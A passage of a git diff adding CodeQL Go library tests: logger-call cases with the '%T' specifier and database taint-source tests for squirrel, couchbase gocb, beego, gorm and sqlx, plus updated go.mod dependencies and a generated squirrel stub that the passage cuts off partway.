+	// components corresponding to the format specifier "%T" are not considered vulnerable
+	logrus.Infof("%s: found type %T", text, v)  // $ logger="%s: found type %T" logger=text type-logger=v
+	logrus.Fatalf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
 }
diff --git a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/main.go b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/main.go
index bb2111afbec1..5353d9155ccb 100644
--- a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/main.go
+++ b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/main.go
@@ -3,6 +3,8 @@ package main
 const fmt = "formatted %s string"
 const text = "test"
 
-func main() {
+var v []byte
 
+func main() {
+	stdlib()
 }
diff --git a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/stdlib.go b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/stdlib.go
index f8401865b490..6fbf3c43fd35 100644
--- a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/stdlib.go
+++ b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/stdlib.go
@@ -17,6 +17,11 @@ func stdlib() {
 	logger.Printf(fmt, text) // $ logger=fmt logger=text
 	logger.Println(text)     // $ logger=text
 
+	// components corresponding to the format specifier "%T" are not considered vulnerable
+	logger.Fatalf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+	logger.Panicf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+	logger.Printf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+
 	log.SetPrefix("prefix: ")
 	log.Fatal(text)       // $ logger=text
 	log.Fatalf(fmt, text) // $ logger=fmt logger=text
@@ -27,4 +32,9 @@ func stdlib() {
 	log.Print(text)       // $ logger=text
 	log.Printf(fmt, text) // $ logger=fmt logger=text
 	log.Println(text)     // $ logger=text
+
+	// components corresponding to the format specifier "%T" are not considered vulnerable
+	log.Fatalf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+	log.Panicf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+	log.Printf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
 }
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod
index 36491d136fac..560bcd759c34 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/go.mod
@@ -1,9 +1,59 @@
 module test
 
-go 1.22.5
+go 1.24
 
 require (
-	gorm.io/gorm v1.23.0
+	github.com/astaxie/beego v1.12.3
+	github.com/beego/beego/v2 v2.3.5
+	github.com/couchbase/gocb v1.6.7
+	github.com/couchbase/gocb/v2 v2.9.4
 	github.com/jmoiron/sqlx v1.4.0
-	go.mongodb.org/mongo-driver/mongo v1.17.2
+	github.com/Masterminds/squirrel v1.5.4
+	github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
+	go.mongodb.org/mongo-driver v1.17.3
+	gorm.io/gorm v1.25.12
+	github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
+)
+
+require (
+	github.com/couchbase/gocbcore/v10 v10.5.4 // indirect
+	github.com/couchbase/gocbcoreps v0.1.3 // indirect
+	github.com/couchbase/goprotostellar v1.0.2 // indirect
+	github.com/couchbaselabs/gocbconnstr/v2 v2.0.0-20240607131231-fb385523de28 // indirect
+	github.com/go-logr/logr v1.4.1 // indirect
+	github.com/go-logr/stdr v1.2.2 // indirect
+	github.com/golang/snappy v0.0.4 // indirect
+	github.com/google/uuid v1.6.0 // indirect
+	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 // indirect
+	github.com/hashicorp/golang-lru v0.5.4 // indirect
+	github.com/jinzhu/inflection v1.0.0 // indirect
+	github.com/jinzhu/now v1.1.5 // indirect
+	github.com/klauspost/compress v1.16.7 // indirect
+	github.com/montanaflynn/stats v0.7.1 // indirect
+	github.com/opentracing/opentracing-go v1.2.0 // indirect
+	github.com/pkg/errors v0.9.1 // indirect
+	github.com/shiena/ansicolor v0.0.0-20200904210342-c7312218db18 // indirect
+	github.com/valyala/bytebufferpool v1.0.0 // indirect
+	github.com/xdg-go/pbkdf2 v1.0.0 // indirect
+	github.com/xdg-go/scram v1.1.2 // indirect
+	github.com/xdg-go/stringprep v1.0.4 // indirect
+	github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
+	go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 // indirect
+	go.opentelemetry.io/otel v1.24.0 // indirect
+	go.opentelemetry.io/otel/metric v1.24.0 // indirect
+	go.opentelemetry.io/otel/trace v1.24.0 // indirect
+	go.uber.org/multierr v1.11.0 // indirect
+	go.uber.org/zap v1.27.0 // indirect
+	golang.org/x/crypto v0.26.0 // indirect
+	golang.org/x/net v0.24.0 // indirect
+	golang.org/x/sync v0.8.0 // indirect
+	golang.org/x/sys v0.23.0 // indirect
+	golang.org/x/text v0.17.0 // indirect
+	google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda // indirect
+	google.golang.org/grpc v1.63.2 // indirect
+	google.golang.org/protobuf v1.34.2 // indirect
+	gopkg.in/couchbase/gocbcore.v7 v7.1.18 // indirect
+	gopkg.in/couchbaselabs/gocbconnstr.v1 v1.0.4 // indirect
+	gopkg.in/couchbaselabs/gojcbmock.v1 v1.0.4 // indirect
+	gopkg.in/couchbaselabs/jsonx.v1 v1.0.1 // indirect
 )
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml
index 853b9e9a719f..5e7e11e1b313 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/source.ext.yml
@@ -3,4 +3,9 @@ extensions:
       pack: codeql/threat-models
       extensible: threatModelConfiguration
     data:
-      - ["database", true, 0]
\ No newline at end of file
+      - ["database", true, 0]
+  - addsTo:
+      pack: codeql/go-all
+      extensible: sourceModel
+    data:
+      - ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]
\ No newline at end of file
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml
index 00f4b3659c37..45623fd20ad2 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test.ext.yml
@@ -5,3 +5,9 @@ extensions:
       extensible: threatModelConfiguration
     data:
       - ["database", true, 0]
+
+  - addsTo:
+      pack: codeql/go-all
+      extensible: sourceModel
+    data:
+      - ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]
\ No newline at end of file
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go
new file mode 100644
index 000000000000..cc1418e884cf
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_Masterminds_squirrel.go
@@ -0,0 +1,291 @@
+package test
+
+//go:generate depstubber -vendor github.com/Masterminds/squirrel DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith
+
+import (
+	"context"
+
+	"github.com/Masterminds/squirrel"
+	src "github.com/nonexistent/sources"
+)
+
+func test_Masterminds_squirrel_QueryRower(ctx context.Context, db squirrel.QueryRower, sqlizer squirrel.Sqlizer) {
+	scanner := db.QueryRow("") // $ source
+
+	var r1, r2, r3 string
+	scanner.Scan(&r1, &r2, &r3)
+
+	sink(r1) // $ hasTaintFlow="r1"
+	sink(r2) // $ hasTaintFlow="r2"
+	sink(r3) // $ hasTaintFlow="r3"
+
+	scanner2 := squirrel.QueryRowWith(db, sqlizer) // $ source
+
+	var r4, r5, r6 string
+	scanner2.Scan(&r4, &r5, &r6)
+
+	sink(r4) // $ hasTaintFlow="r4"
+	sink(r5) // $ hasTaintFlow="r5"
+	sink(r6) // $ hasTaintFlow="r6"
+}
+
+func test_Masterminds_squirrel_QueryRowerContext(ctx context.Context, db squirrel.QueryRowerContext, sqlizer squirrel.Sqlizer) {
+	scanner := db.QueryRowContext(ctx, "") // $ source
+
+	var r1, r2, r3 string
+	scanner.Scan(&r1, &r2, &r3)
+
+	sink(r1) // $ hasTaintFlow="r1"
+	sink(r2) // $ hasTaintFlow="r2"
+	sink(r3) // $ hasTaintFlow="r3"
+
+	scanner2 := squirrel.QueryRowContextWith(ctx, db, sqlizer) // $ source
+
+	var r4, r5, r6 string
+	scanner2.Scan(&r4, &r5, &r6)
+
+	sink(r4) // $ hasTaintFlow="r4"
+	sink(r5) // $ hasTaintFlow="r5"
+	sink(r6) // $ hasTaintFlow="r6"
+}
+
+func test_Masterminds_squirrel_Queryer(ctx context.Context, db squirrel.Queryer, sqlizer squirrel.Sqlizer) {
+	v1, err := db.Query("") // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := squirrel.QueryWith(db, sqlizer) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+}
+
+func test_Masterminds_squirrel_QueryerContext(ctx context.Context, db squirrel.QueryerContext, sqlizer squirrel.Sqlizer) {
+	v1, err := db.QueryContext(ctx, "") // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := squirrel.QueryContextWith(ctx, db, sqlizer) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+}
+
+// StdSqlCtx extends StdSql so we can test both with a StdSqlCtx
+func test_Masterminds_squirrel_StdSql_StdSqlCtx(ctx context.Context, std squirrel.StdSqlCtx) {
+	v1, err := std.Query("") // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := std.QueryContext(ctx, "") // $ source
+	if err != nil {
+		return
+	}
+
+	sink(v2) // $ hasTaintFlow="v2"
+
+	s3 := std.QueryRow("") // $ source
+
+	if err != nil {
+		return
+	}
+	var r31, r32, r33 string
+	s3.Scan(&r31, &r32, &r33)
+
+	sink(r31) // $ hasTaintFlow="r31"
+	sink(r32) // $ hasTaintFlow="r32"
+	sink(r33) // $ hasTaintFlow="r33"
+
+	s4 := std.QueryRowContext(ctx, "") // $ source
+
+	var r41, r42, r43 string
+	s4.Scan(&r41, &r42, &r43)
+
+	sink(r41) // $ hasTaintFlow="r41"
+	sink(r42) // $ hasTaintFlow="r42"
+	sink(r43) // $ hasTaintFlow="r43"
+}
+
+func test_Masterminds_squirrel_DeleteBuilder(ctx context.Context, builder squirrel.DeleteBuilder) {
+	v1, err := builder.Query() // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := builder.QueryContext(ctx) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+
+	s3 := builder.QueryRowContext(ctx) // $ source
+
+	var r31, r32, r33 string
+	s3.Scan(&r31, &r32, &r33)
+
+	sink(r31) // $ hasTaintFlow="r31"
+	sink(r32) // $ hasTaintFlow="r32"
+	sink(r33) // $ hasTaintFlow="r33"
+
+	builder2 := src.Source[squirrel.DeleteBuilder]() // $ source
+
+	var r41, r42, r43 string
+	builder2.ScanContext(ctx, &r41, &r42, &r43)
+
+	sink(r41) // $ hasTaintFlow="r41"
+	sink(r42) // $ hasTaintFlow="r42"
+	sink(r43) // $ hasTaintFlow="r43"
+}
+
+func test_Masterminds_squirrel_InsertBuilder(ctx context.Context, builder squirrel.InsertBuilder) {
+	v1, err := builder.Query() // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := builder.QueryContext(ctx) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+
+	s3 := builder.QueryRow() // $ source
+
+	var r31, r32, r33 string
+	s3.Scan(&r31, &r32, &r33)
+
+	sink(r31) // $ hasTaintFlow="r31"
+	sink(r32) // $ hasTaintFlow="r32"
+	sink(r33) // $ hasTaintFlow="r33"
+
+	s4 := builder.QueryRowContext(ctx) // $ source
+
+	var r41, r42, r43 string
+	s4.Scan(&r41, &r42, &r43)
+
+	sink(r41) // $ hasTaintFlow="r41"
+	sink(r42) // $ hasTaintFlow="r42"
+	sink(r43) // $ hasTaintFlow="r43"
+
+	builder2 := src.Source[squirrel.InsertBuilder]() // $ source
+
+	var r51, r52, r53 string
+	builder2.Scan(&r51, &r52, &r53)
+
+	sink(r51) // $ hasTaintFlow="r51"
+	sink(r52) // $ hasTaintFlow="r52"
+	sink(r53) // $ hasTaintFlow="r53"
+
+	var r61, r62, r63 string
+	builder2.ScanContext(ctx, &r61, &r62, &r63)
+
+	sink(r61) // $ hasTaintFlow="r61"
+	sink(r62) // $ hasTaintFlow="r62"
+	sink(r63) // $ hasTaintFlow="r63"
+}
+
+func test_Masterminds_squirrel_SelectBuilder(ctx context.Context, builder squirrel.SelectBuilder) {
+	v1, err := builder.Query() // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := builder.QueryContext(ctx) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+
+	s3 := builder.QueryRow() // $ source
+
+	var r31, r32, r33 string
+	s3.Scan(&r31, &r32, &r33)
+
+	sink(r31) // $ hasTaintFlow="r31"
+	sink(r32) // $ hasTaintFlow="r32"
+	sink(r33) // $ hasTaintFlow="r33"
+
+	s4 := builder.QueryRowContext(ctx) // $ source
+
+	var r41, r42, r43 string
+	s4.Scan(&r41, &r42, &r43)
+
+	sink(r41) // $ hasTaintFlow="r41"
+	sink(r42) // $ hasTaintFlow="r42"
+	sink(r43) // $ hasTaintFlow="r43"
+
+	builder2 := src.Source[squirrel.SelectBuilder]() // $ source
+
+	var r51, r52, r53 string
+	builder2.Scan(&r51, &r52, &r53)
+
+	sink(r51) // $ hasTaintFlow="r51"
+	sink(r52) // $ hasTaintFlow="r52"
+	sink(r53) // $ hasTaintFlow="r53"
+
+	var r61, r62, r63 string
+	builder2.ScanContext(ctx, &r61, &r62, &r63)
+
+	sink(r61) // $ hasTaintFlow="r61"
+	sink(r62) // $ hasTaintFlow="r62"
+	sink(r63) // $ hasTaintFlow="r63"
+}
+
+func test_Masterminds_squirrel_UpdateBuilder(ctx context.Context, builder squirrel.UpdateBuilder) {
+	v1, err := builder.Query() // $ source
+	if err != nil {
+		return
+	}
+	sink(v1) // $ hasTaintFlow="v1"
+
+	v2, err := builder.QueryContext(ctx) // $ source
+	if err != nil {
+		return
+	}
+	sink(v2) // $ hasTaintFlow="v2"
+
+	s3 := builder.QueryRow() // $ source
+
+	var r31, r32, r33 string
+	s3.Scan(&r31, &r32, &r33)
+
+	sink(r31) // $ hasTaintFlow="r31"
+	sink(r32) // $ hasTaintFlow="r32"
+	sink(r33) // $ hasTaintFlow="r33"
+
+	s4 := builder.QueryRowContext(ctx) // $ source
+
+	var r41, r42, r43 string
+	s4.Scan(&r41, &r42, &r43)
+
+	sink(r41) // $ hasTaintFlow="r41"
+	sink(r42) // $ hasTaintFlow="r42"
+	sink(r43) // $ hasTaintFlow="r43"
+
+	builder2 := src.Source[squirrel.UpdateBuilder]() // $ source
+
+	var r51, r52, r53 string
+	builder2.Scan(&r51, &r52, &r53)
+
+	sink(r51) // $ hasTaintFlow="r51"
+	sink(r52) // $ hasTaintFlow="r52"
+	sink(r53) // $ hasTaintFlow="r53"
+
+	var r61, r62, r63 string
+	builder2.ScanContext(ctx, &r61, &r62, &r63)
+
+	sink(r61) // $ hasTaintFlow="r61"
+	sink(r62) // $ hasTaintFlow="r62"
+	sink(r63) // $ hasTaintFlow="r63"
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_beego_orm.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_beego_orm.go
index 93138c69a580..1f5e31ebf72c 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_beego_orm.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_beego_orm.go
@@ -1,5 +1,8 @@
 package test
 
+//go:generate depstubber -vendor github.com/astaxie/beego/orm Ormer NewOrm
+//go:generate depstubber -vendor github.com/beego/beego/v2/client/orm DB,DQL,Ormer NewOrm
+
 import (
 	oldOrm "github.com/astaxie/beego/orm"
 	"github.com/beego/beego/v2/client/orm"
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v1.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v1.go
new file mode 100644
index 000000000000..5bddde4b2383
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v1.go
@@ -0,0 +1,57 @@
+package test
+
+//go:generate depstubber -vendor github.com/couchbase/gocb Cluster,AnalyticsResults,QueryResults,SearchResults
+
+import "github.com/couchbase/gocb"
+
+func test_couchbase_gocb_v1_Cluster(cluster *gocb.Cluster, aq *gocb.AnalyticsQuery, n1ql *gocb.N1qlQuery, sq *gocb.SearchQuery) {
+	// Analytics
+	r1, err := cluster.ExecuteAnalyticsQuery(aq, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user1, user2 User
+
+	r1.One(&user1)
+	sink(user1) // $ hasTaintFlow="user1"
+
+	for r1.Next(user2) {
+		sink(user2) // $ hasTaintFlow="user2"
+	}
+
+	var b1 []byte
+	b1 = r1.NextBytes()
+	sink(b1) // $ hasTaintFlow="b1"
+
+	// N1QL
+	r2, err := cluster.ExecuteN1qlQuery(n1ql, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user3, user4 User
+
+	r2.One(&user3)
+	sink(user3) // $ hasTaintFlow="user3"
+
+	for r2.Next(user4) {
+		sink(user4) // $ hasTaintFlow="user4"
+	}
+
+	var b2 []byte
+	b2 = r2.NextBytes()
+	sink(b2) // $ hasTaintFlow="b2"
+
+	// Search
+	r3, err := cluster.ExecuteSearchQuery(sq) // $ source
+
+	if err != nil {
+		return
+	}
+
+	hit := r3.Hits()[0]
+	sink(hit) // $ hasTaintFlow="hit"
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v2.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v2.go
new file mode 100644
index 000000000000..151b90056605
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_couchbase_gocb_v2.go
@@ -0,0 +1,247 @@
+package test
+
+//go:generate depstubber -vendor github.com/couchbase/gocb/v2 AnalyticsResult,AnalyticsResultRaw,Cluster,Collection,ExistsResult,GetResult,LookupInReplicaResult,LookupInResult,MutateInResult,MutationResult,QueryResult,QueryResultRaw,Result,ScanResult,ScanResultItem,Scope,SearchResult,SearchResultRaw,TransactionAttemptContext,TransactionGetResult,TransactionQueryResult,ViewIndexManager,ViewResult,ViewResultRaw
+
+import "github.com/couchbase/gocb/v2"
+
+func test_couchbase_gocb_v2_Cluster(cluster *gocb.Cluster) {
+	r1, err := cluster.AnalyticsQuery("SELECT * FROM `travel-sample`", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	for r1.Next() {
+		var name1, name2 string
+
+		r1.One(&name1)
+
+		sink(name1) // $ hasTaintFlow="name1"
+
+		r1.Row(&name2)
+		sink(name2) // $ hasTaintFlow="name2"
+
+		b := r1.Raw().NextBytes()
+		sink(b) // $ hasTaintFlow="b"
+	}
+
+	r2, err := cluster.Query("SELECT * FROM `travel-sample`", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	for r2.Next() {
+		var name1, name2 string
+
+		r2.One(&name1)
+
+		sink(name1) // $ hasTaintFlow="name1"
+
+		r2.Row(&name2)
+		sink(name2) // $ hasTaintFlow="name2"
+
+		b := r2.Raw().NextBytes()
+		sink(b) // $ hasTaintFlow="b"
+	}
+}
+
+func test_couchbase_gocb_v2_Scope(scope *gocb.Scope) {
+	r1, err := scope.AnalyticsQuery("SELECT * FROM `travel-sample`", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	for r1.Next() {
+		var name1, name2 string
+
+		r1.One(&name1)
+
+		sink(name1) // $ hasTaintFlow="name1"
+
+		r1.Row(&name2)
+		sink(name2) // $ hasTaintFlow="name2"
+
+		b := r1.Raw().NextBytes()
+		sink(b) // $ hasTaintFlow="b"
+	}
+
+	r2, err := scope.Query("SELECT * FROM `travel-sample`", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	for r2.Next() {
+		var name1, name2 string
+
+		r2.One(&name1)
+
+		sink(name1) // $ hasTaintFlow="name1"
+
+		r2.Row(&name2)
+		sink(name2) // $ hasTaintFlow="name2"
+
+		b := r2.Raw().NextBytes()
+		sink(b) // $ hasTaintFlow="b"
+	}
+}
+
+func test_couchbase_gocb_v2_Collection(coll *gocb.Collection) {
+	type User struct {
+		Name string
+	}
+
+	var user User
+
+	r1, err := coll.Get("documentID", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	r1.Content(&user)
+
+	sink(user) // $ hasTaintFlow="user"
+
+	r2, err := coll.GetAndLock("documentID", 30, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	sink(r2) // $ hasTaintFlow="r2"
+
+	r3, err := coll.GetAndTouch("documentID", 30, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user3 User
+	r3.Content(&user3)
+	sink(user3) // $ hasTaintFlow="user3"
+
+	r4, err := coll.GetAnyReplica("documentID", nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	sink(r4) // $ hasTaintFlow="r4"
+
+	r5, err := coll.LookupIn("documentID", []gocb.LookupInSpec{}, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user5 User
+	r5.ContentAt(0, &user5)
+	sink(user5) // $ hasTaintFlow="user5"
+
+	r6, err := coll.LookupInAllReplicas("documentID", []gocb.LookupInSpec{}, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user6 User
+	r6.Next().ContentAt(0, &user6)
+	sink(user6) // $ hasTaintFlow="user6"
+
+	r7, err := coll.LookupInAnyReplica("documentID", []gocb.LookupInSpec{}, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user7 User
+	r7.ContentAt(0, &user7)
+	sink(user7) // $ hasTaintFlow="user7"
+
+	r8, err := coll.Scan(nil, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user8 User
+	r8.Next().Content(&user8)
+	sink(user8) // $ hasTaintFlow="user8"
+}
+
+func test_couchbase_gocb_v2_TransactionAttemptContext(tam *gocb.TransactionAttemptContext, coll *gocb.Collection) {
+	r1, err := tam.Get(coll, "documentID") // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user User
+	r1.Content(&user)
+
+	sink(user) // $ hasTaintFlow="user"
+
+	r2, err := tam.GetReplicaFromPreferredServerGroup(coll, "documentID") // $ source
+
+	if err != nil {
+		return
+	}
+
+	var user2 User
+	r2.Content(&user2)
+	sink(user2) // $ hasTaintFlow="user2"
+
+	var user3 User
+
+	r3, err := tam.Insert(coll, "documentID", &user3) // $ source
+	if err != nil {
+		return
+	}
+
+	var user4 User
+	r3.Content(&user4)
+	sink(user4) // $ hasTaintFlow="user4"
+
+	r4, err := tam.Query("SELECT * FROM `travel-sample`", nil) // $ source
+	if err != nil {
+		return
+	}
+
+	for r4.Next() {
+		var user5 User
+		r4.One(&user5)
+		sink(user5) // $ hasTaintFlow="user5"
+
+		var user6 User
+		r4.Row(&user6)
+		sink(user6) // $ hasTaintFlow="user6"
+	}
+
+	r5, err := tam.Replace(r3, user4) // $ source
+	if err != nil {
+		return
+	}
+
+	sink(r5) // $ hasTaintFlow="r5"
+}
+
+func test_couchbase_gocb_v2_ViewIndexManager(v *gocb.ViewIndexManager) {
+	doc, err := v.GetDesignDocument("name", 0, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	sink(doc) // $ hasTaintFlow="doc"
+
+	docs, err := v.GetAllDesignDocuments(0, nil) // $ source
+
+	if err != nil {
+		return
+	}
+
+	sink(docs) // $ hasTaintFlow="docs"
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_gorm.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_gorm.go
index 9fc1de0de4ef..e0c5a1182e22 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_gorm.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_gorm.go
@@ -1,5 +1,7 @@
 package test
 
+//go:generate depstubber -vendor gorm.io/gorm Association,ConnPool,DB
+
 import "gorm.io/gorm"
 
 // test querying an Association
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_jmoiron_sqlx.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_jmoiron_sqlx.go
index ce3dea5b532c..ecb99305cb75 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_jmoiron_sqlx.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/test_jmoiron_sqlx.go
@@ -1,5 +1,7 @@
 package test
 
+//go:generate depstubber -vendor github.com/jmoiron/sqlx Conn,DB,NamedStmt,Stmt,Tx Get,GetContext,NamedQuery,NamedQueryContext,Select,SelectContext
+
 import (
 	"context"
 
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go
new file mode 100644
index 000000000000..5b77477bb682
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go
@@ -0,0 +1,501 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for github.com/Masterminds/squirrel, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: github.com/Masterminds/squirrel (exports: DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder; functions: QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith)
+
+// Package squirrel is a stub of github.com/Masterminds/squirrel, generated by depstubber.
+package squirrel
+
+import (
+	context "context"
+	sql "database/sql"
+)
+
+type BaseRunner interface {
+	Exec(_ string, _ ...interface{}) (sql.Result, error)
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+}
+
+type DeleteBuilder struct{}
+
+func (_ DeleteBuilder) Exec() (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ DeleteBuilder) ExecContext(_ context.Context) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ DeleteBuilder) From(_ string) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) Limit(_ uint64) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) MustSql() (string, []interface{}) {
+	return "", nil
+}
+
+func (_ DeleteBuilder) Offset(_ uint64) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) OrderBy(_ ...string) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) PlaceholderFormat(_ PlaceholderFormat) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) Prefix(_ string, _ ...interface{}) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) PrefixExpr(_ Sqlizer) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) Query() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ DeleteBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ DeleteBuilder) QueryRowContext(_ context.Context) RowScanner {
+	return nil
+}
+
+func (_ DeleteBuilder) RunWith(_ BaseRunner) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
+	return nil
+}
+
+func (_ DeleteBuilder) Suffix(_ string, _ ...interface{}) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) SuffixExpr(_ Sqlizer) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+func (_ DeleteBuilder) ToSql() (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ DeleteBuilder) Where(_ interface{}, _ ...interface{}) DeleteBuilder {
+	return DeleteBuilder{}
+}
+
+type InsertBuilder struct{}
+
+func (_ InsertBuilder) Columns(_ ...string) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) Exec() (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ InsertBuilder) ExecContext(_ context.Context) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ InsertBuilder) Into(_ string) InsertBuilder {
